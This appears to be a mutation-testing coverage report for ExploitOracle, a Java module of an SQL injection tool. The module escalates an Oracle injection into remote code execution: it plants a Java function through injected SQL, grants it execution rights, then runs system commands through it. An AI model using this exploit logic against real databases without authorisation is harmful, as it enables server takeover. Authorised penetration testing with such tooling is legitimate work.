1 | package com.jsql.model.accessible.vendor; | |
2 | ||
3 | import com.jsql.model.InjectionModel; | |
4 | import com.jsql.model.accessible.ExploitMode; | |
5 | import com.jsql.model.accessible.ResourceAccess; | |
6 | import com.jsql.model.accessible.vendor.oracle.ModelYamlOracle; | |
7 | import com.jsql.model.bean.util.Interaction; | |
8 | import com.jsql.model.bean.util.Request; | |
9 | import com.jsql.model.exception.JSqlException; | |
10 | import com.jsql.model.injection.vendor.model.VendorYaml; | |
11 | import com.jsql.util.LogLevelUtil; | |
12 | import org.apache.commons.lang3.StringUtils; | |
13 | import org.apache.logging.log4j.LogManager; | |
14 | import org.apache.logging.log4j.Logger; | |
15 | import org.yaml.snakeyaml.Yaml; | |
16 | ||
17 | import java.util.Arrays; | |
18 | import java.util.UUID; | |
19 | ||
20 | public class ExploitOracle { | |
21 | ||
22 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
23 | private final InjectionModel injectionModel; | |
24 | private final ModelYamlOracle modelYaml; | |
25 | ||
26 | private static final String RCE_JAVA_UTIL_SRC = "RCE_JAVA_UTIL_SRC"; | |
27 | private static final String RCE_JAVA_UTIL_FUNC = "RCE_JAVA_UTIL_FUNC"; | |
28 | ||
29 | public ExploitOracle(InjectionModel injectionModel) { | |
30 | this.injectionModel = injectionModel; | |
31 | var yaml = new Yaml(); | |
32 | this.modelYaml = yaml.loadAs( | |
33 | injectionModel.getMediatorVendor().getOracle().instance().getModelYaml().getResource().getExploit(), | |
34 | ModelYamlOracle.class | |
35 | ); | |
36 | } | |
37 | ||
38 | public void createRce(ExploitMode exploitMode) throws JSqlException { | |
39 |
1
1. createRce : negated conditional → NO_COVERAGE |
if (!Arrays.asList(ExploitMode.AUTO, ExploitMode.QUERY_BODY).contains(exploitMode)) { |
40 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Exploit method not implemented, using query body instead"); | |
41 | } | |
42 | ||
43 | this.injectionModel.injectWithoutIndex(String.format( | |
44 | this.modelYaml.getUdf().getDropSource(), | |
45 | ExploitOracle.RCE_JAVA_UTIL_SRC | |
46 | ), "body#drop-src"); | |
47 | this.injectionModel.injectWithoutIndex(String.format( | |
48 | this.modelYaml.getUdf().getDropFunc(), | |
49 | ExploitOracle.RCE_JAVA_UTIL_FUNC | |
50 | ), "body#drop-src"); | |
51 | this.injectionModel.injectWithoutIndex(String.format( | |
52 | this.modelYaml.getUdf().getAddSource(), | |
53 | ExploitOracle.RCE_JAVA_UTIL_SRC, | |
54 | ExploitOracle.RCE_JAVA_UTIL_SRC | |
55 | ), "body#add-src"); | |
56 | this.injectionModel.injectWithoutIndex(String.format( | |
57 | this.modelYaml.getUdf().getAddFunc(), | |
58 | ExploitOracle.RCE_JAVA_UTIL_FUNC, | |
59 | ExploitOracle.RCE_JAVA_UTIL_SRC | |
60 | ), ResourceAccess.ADD_FUNC); | |
61 | this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getGrant(), "body#grant-exec"); | |
62 | var nameDatabase = this.injectionModel.getResourceAccess().getResult(String.format( | |
63 | this.modelYaml.getUdf().getConfirm(), | |
64 | VendorYaml.TRAIL_SQL, | |
65 | ExploitOracle.RCE_JAVA_UTIL_FUNC | |
66 | ), ResourceAccess.BODY_CONFIRM); | |
67 |
1
1. createRce : negated conditional → NO_COVERAGE |
if (!nameDatabase.contains(ExploitOracle.RCE_JAVA_UTIL_FUNC)) { |
68 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: java function not found"); | |
69 | return; | |
70 | } | |
71 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE successful: java function found"); | |
72 | ||
73 | var request = new Request(); | |
74 |
1
1. createRce : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_ORACLE); |
75 |
1
1. createRce : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(null, null); |
76 |
1
1. createRce : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
77 | } | |
78 | ||
79 | public String runRceCmd(String command, UUID uuidShell) { | |
80 | String result; | |
81 | try { | |
82 | result = this.injectionModel.getResourceAccess().getResult(String.format( | |
83 | this.modelYaml.getUdf().getRunCmd(), | |
84 | ExploitOracle.RCE_JAVA_UTIL_FUNC, | |
85 | command.replace(StringUtils.SPACE, "%20"), // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l' | |
86 | VendorYaml.TRAIL_SQL | |
87 | ), ResourceAccess.UDF_RUN_CMD); | |
88 | } catch (JSqlException e) { | |
89 | result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command); | |
90 | } | |
91 | var request = new Request(); | |
92 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_TERMINAL_RESULT); |
93 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result); |
94 |
1
1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
95 |
1
1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitOracle::runRceCmd → NO_COVERAGE |
return result; |
96 | } | |
97 | } | |
Mutations | ||
39 |
1.1 |
|
67 |
1.1 |
|
74 |
1.1 |
|
75 |
1.1 |
|
76 |
1.1 |
|
92 |
1.1 |
|
93 |
1.1 |
|
94 |
1.1 |
|
95 |
1.1 |